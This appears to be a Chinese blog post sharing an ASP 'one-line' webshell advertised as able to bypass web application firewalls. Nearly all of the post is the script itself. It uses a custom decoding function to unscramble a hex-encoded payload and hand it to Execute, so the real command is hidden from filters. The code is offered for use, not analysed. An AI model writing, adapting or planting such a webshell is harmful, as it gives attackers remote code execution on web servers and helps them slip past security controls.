过各种waf墙asp一句话

过各种waf墙asp一句话

<%
Function Writesource(str)
	Response.write(str)
End Function
Function cd(ByVal s, ByVal key)
    For i = 1 To Len(s) Step 2
        c = Mid(s, i, 2)
        k = (i + 1) / 2 Mod Len(key) + 1
        p = Mid(key, k, 1)
        If IsNumeric(Mid(s, i, 1)) Then
            cd = cd & Chr(("&H" & c) - p)
        Else
            cd = cd & Chr("&H" & c & Mid(s, i + 2, 2))
            i = i + 2
        End If
    Next
End Function
Execute cd("6877656D2B736972786677752B237E232C2A","1314")
%>


  原文链接:http://www.5kik.com/aspnews/337.html

相关文章

发表评论:

验证码

◎欢迎参与讨论,请在这里发表您的看法、交流您的观点。